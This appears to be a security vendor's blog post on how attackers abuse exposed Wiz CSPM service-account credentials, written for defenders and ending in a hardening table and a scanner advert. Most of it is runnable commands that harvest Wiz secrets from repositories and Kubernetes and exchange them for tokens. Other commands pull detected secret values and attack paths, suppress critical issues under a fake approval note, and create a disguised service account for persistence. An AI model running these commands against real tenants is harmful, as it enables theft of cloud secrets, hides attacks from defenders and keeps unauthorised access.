Wiz has become the dominant cloud security posture management (CSPM) platform for enterprises, with a unique graph-based security model that maps relationships across cloud resources, identities, and workloads. When Wiz API service account credentials are exposed, attackers gain a complete, pre-enumerated map of an organization's cloud security posture — including every misconfiguration, exposed secret, and exploitable attack path Wiz has already identified.
Wiz operates as a fully SaaS-delivered platform with no agent deployment. Cloud connectivity is provided through Wiz Connectors — cloud-provider-native read-only roles that Wiz uses to inventory and analyze resources. The platform exposes a GraphQL API and a REST API for integrations, automation, and SIEM connectivity.
| Component | Attack Surface | Credential Type |
|---|---|---|
| Wiz Portal | Web console at app.wiz.io | Username/password + SSO/SAML |
| GraphQL API | https://api.us1.app.wiz.io/graphql | Service account client ID + secret → OAuth bearer |
| Wiz Connectors | AWS/Azure/GCP IAM roles used by Wiz | Cloud provider credentials (IAM role ARN, service principal) |
| SIEM Integration | Webhook / SIEM connector config | Service account credentials in integration settings |
| SOAR/Ticketing | Jira, ServiceNow, PagerDuty integrations | Service account credentials + webhook secrets |
| CI/CD Integration | GitHub Actions, GitLab CI, Jenkins | Service account in pipeline environment variables |
The Wiz API uses OAuth 2.0 client credentials flow. Service accounts are created in the Wiz console and issued a Client ID and Client Secret. These are the primary credentials used by all automated integrations — and are frequently exposed in CI/CD pipelines, Terraform state, and SIEM configurations.
Wiz service account credentials (Client ID + Client Secret) follow the format of standard OAuth credentials. The Client ID is a UUID, and the Client Secret is a long random string. Together they are used to obtain a short-lived bearer token.
wiz Terraform provider stores client credentials in terraform.tfstate and terraform.tfvarsWIZ_CLIENT_ID, WIZ_CLIENT_SECRET), GitLab CI variables, Jenkins credentials.env files, wiz-cli.yaml configs, Kubernetes secrets containing Wiz credentials# Search for Wiz API credentials in code repositories
grep -rE "(WIZ_CLIENT_ID|WIZ_CLIENT_SECRET|wiz_client|wiz-client)" . \
--include="*.env" --include="*.yml" --include="*.yaml" \
--include="*.json" --include="*.tf" --include="*.tfvars" 2>/dev/null
# Search for Wiz API URL patterns (indicates nearby credentials)
grep -rE "(api\.(us1|eu1|au1|gov|ca1)\.app\.wiz\.io|app\.wiz\.io)" . 2>/dev/null
# Search Terraform state for Wiz provider configuration
grep -rE '"wiz"' . --include="*.tfstate" | head -20
# Trufflehog scan (Wiz credentials detector)
trufflehog filesystem . --only-verified
# Search Kubernetes secrets for Wiz credentials
kubectl get secrets --all-namespaces -o json | \
python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for item in data['items']:
for k, v in item.get('data', {}).items():
decoded = base64.b64decode(v).decode('utf-8', errors='ignore')
if 'wiz' in k.lower() or 'wiz' in decoded.lower():
print(item['metadata']['namespace'], item['metadata']['name'], k)
"
The Wiz API uses OAuth 2.0 client credentials to obtain a short-lived bearer token. Once you have a client ID and secret, you exchange them for an access token used in all subsequent API calls.
WIZ_CLIENT_ID="your_client_id_uuid"
WIZ_CLIENT_SECRET="your_client_secret"
# Exchange credentials for OAuth bearer token
TOKEN_RESPONSE=$(curl -s -X POST \
"https://auth.app.wiz.io/oauth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=$WIZ_CLIENT_ID&client_secret=$WIZ_CLIENT_SECRET&audience=wiz-api")
WIZ_TOKEN=$(echo $TOKEN_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Token acquired: ${WIZ_TOKEN:0:40}..."
# Validate the token — get current tenant info
curl -s -X POST \
"https://api.us1.app.wiz.io/graphql" \
-H "Authorization: Bearer $WIZ_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ cloudAccounts { nodes { id name externalId cloudProvider subscriptionId } } }"}' | \
python3 -m json.tool
api.us1.app.wiz.io (US), api.eu1.app.wiz.io (EU), api.au1.app.wiz.io (Australia). Using the wrong endpoint returns a 401.
Wiz's core value proposition is its security graph — a unified model of all cloud resources, identities, network paths, and their security relationships. Via the GraphQL API, an attacker with service account credentials can query this graph to enumerate every misconfiguration, exposed secret, and attack path that Wiz has already mapped.
WIZ_API="https://api.us1.app.wiz.io/graphql"
AUTH_HEADER="Authorization: Bearer $WIZ_TOKEN"
# Enumerate all connected cloud accounts
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ cloudAccounts(first: 100) { nodes { id name externalId cloudProvider status subscriptionId linkedProjects { id name } } } }"
}' | python3 -m json.tool
# Get all cloud resources by type
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ cloudResources(filterBy: {type: [VIRTUAL_MACHINE]}, first: 200) { nodes { id name externalId type region cloudAccount { name cloudProvider } properties } } }"
}' | python3 -m json.tool
# Get all open security issues (misconfigurations) by severity
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ issues(filterBy: {severity: [CRITICAL, HIGH], status: [OPEN]}, first: 200) { nodes { id title severity status createdAt entity { id name type } control { id name description } } } }"
}' | python3 -m json.tool
# This reveals: every critical misconfiguration Wiz has found in the target cloud environment
# Including: public S3 buckets, overprivileged IAM roles, exposed databases, leaked secrets
# Query for secrets detected by Wiz (Wiz scans workloads for leaked credentials)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ secrets(first: 100) { nodes { id type value path affectedEntities { id name type } } } }"
}' | python3 -m json.tool
# Returns: actual secret values detected by Wiz scanner (AWS keys, DB passwords, API tokens)
# Query attack paths — Wiz pre-computes attack paths to critical resources
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ attackPaths(first: 50) { nodes { id description riskScore startEntity { id name type } endEntity { id name type } edges { source { id name } destination { id name } } } } }"
}' | python3 -m json.tool
# Get toxic combinations (Wiz's term for multi-factor attack paths)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ toxicCombinations(first: 50) { nodes { id name severity riskScore steps { id description } } } }"
}' | python3 -m json.tool
Wiz continuously evaluates cloud resources against hundreds of security controls. All findings are queryable via the API, providing a complete picture of the target's security weaknesses.
# List all Wiz security controls and their pass/fail status
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ controls(first: 200) { nodes { id name description severity enabled failedResourceCount passedResourceCount } } }"
}' | python3 -m json.tool
# Get all failed controls (i.e., active misconfigurations)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ controls(filterBy: {hasFailed: true}, first: 200) { nodes { id name severity failedResourceCount } } }"
}' | python3 -m json.tool
# Export issues to CSV (triggers async export job)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { issuesExport(filterBy: {severity: [CRITICAL, HIGH]}) { id url } }"
}' | python3 -m json.tool
# Find all publicly exposed resources (internet-facing attack surface)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ cloudResources(filterBy: {hasPublicIpAddress: true}, first: 200) { nodes { id name type region externalId cloudAccount { name cloudProvider } properties } } }"
}' | python3 -m json.tool
# Find all storage buckets/blobs with public access
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ cloudResources(filterBy: {type: [BUCKET, STORAGE_ACCOUNT_BLOB_CONTAINER], isPublic: true}, first: 200) { nodes { id name externalId cloudProvider region properties } } }"
}' | python3 -m json.tool
Wiz connects to cloud environments through read-only IAM roles. While Wiz itself does not store the underlying cloud credentials (it uses role assumption), the Wiz connector configuration reveals the IAM role ARNs and external IDs used for trust relationships — information that enables attacks against the cloud accounts themselves.
# List all configured connectors
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ connectors(first: 50) { nodes { id name type status createdAt cloudAccounts { id name externalId cloudProvider } configuration } } }"
}' | python3 -m json.tool
# AWS connector configuration reveals:
# - WizAccess role ARN (e.g., arn:aws:iam::123456789012:role/WizAccess)
# - External ID used for role assumption (used in the trust policy)
# These can be used to understand the Wiz attack surface in the customer's AWS account
# Get integration credentials (SIEM, ticketing, SOAR)
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "{ integrations(first: 50) { nodes { id name type status createdAt } } }"
}' | python3 -m json.tool
Beyond passive enumeration, Wiz API access enables an attacker to create new integrations, modify issue severity, suppress alerts, and in some configurations, trigger automated remediation actions.
# Set a critical issue to "Resolved" or "Rejected" to suppress alerts
# This is the CSPM equivalent of adding a detection exclusion
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation UpdateIssue($id: ID!) { updateIssue(input: { id: $id, status: REJECTED, resolutionNote: \"Accepted risk — reviewed by security team\" }) { issue { id status } } }",
"variables": {"id": "issue_id_here"}
}' | python3 -m json.tool
# Bulk reject all critical issues (drastically suppresses security posture visibility)
# This demonstrates the blast radius of a compromised admin service account
# If the compromised service account has Admin scope,
# create a new service account for persistence
curl -s -X POST "$WIZ_API" \
-H "$AUTH_HEADER" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation CreateServiceAccount($input: CreateServiceAccountInput!) { createServiceAccount(input: $input) { serviceAccount { id name clientId clientSecret } } }",
"variables": {
"input": {
"name": "audit-integration-svc",
"description": "Audit tool integration account",
"scopes": ["read:all", "write:issues"]
}
}
}' | python3 -m json.tool
# The response contains clientId and clientSecret — preserve these for persistence
| Control | Priority | Action |
|---|---|---|
| Rotate all service account credentials | Critical | Immediately rotate any service account client secrets that may have been exposed; audit Terraform state files for embedded credentials |
| Apply least-privilege scopes to service accounts | Critical | A SIEM integration needs read:all only; automation that resolves issues needs write:issues; no service account needs admin:all |
| Enable SSO for all console users | High | Enforce SSO/SAML for all Wiz portal users; disable username/password login; require MFA at the IdP level |
| Restrict service account source IPs | High | Where possible, restrict service account usage to specific CI/CD runner IPs or VPC egress IPs |
| Forward Wiz Activity Log to SIEM | High | Configure Activity Log streaming to your SIEM; alert on service account creation, bulk issue suppression, and new connector additions |
| Audit active service accounts quarterly | High | Review all service accounts — who created them, when they were last used, what scopes they have; decommission unused accounts |
| Protect Terraform state | High | Store Terraform state in encrypted remote backends (S3+KMS, Terraform Cloud); never commit state files to version control |
| Scan CI/CD pipelines for credential exposure | High | Run trufflehog or gitleaks on all repos; use native secret scanning (GitHub Advanced Security, GitLab Secret Detection) |
| Enable Wiz secret detection | Medium | Ensure Wiz's workload scanning includes secret detection; remediate all detected secrets immediately — they are queryable via API |
| Review issue suppression audit trail | Medium | Alert on bulk REJECTED status changes; require business justification for accepted risks; review suppressed issues monthly |
Ironimo's Kali Linux-powered scanning engine tests for exposed Wiz API credentials, misconfigured cloud security integrations, and CSPM tool credential exposure — helping security teams validate that their cloud security tools aren't themselves the vulnerability.
Start free scan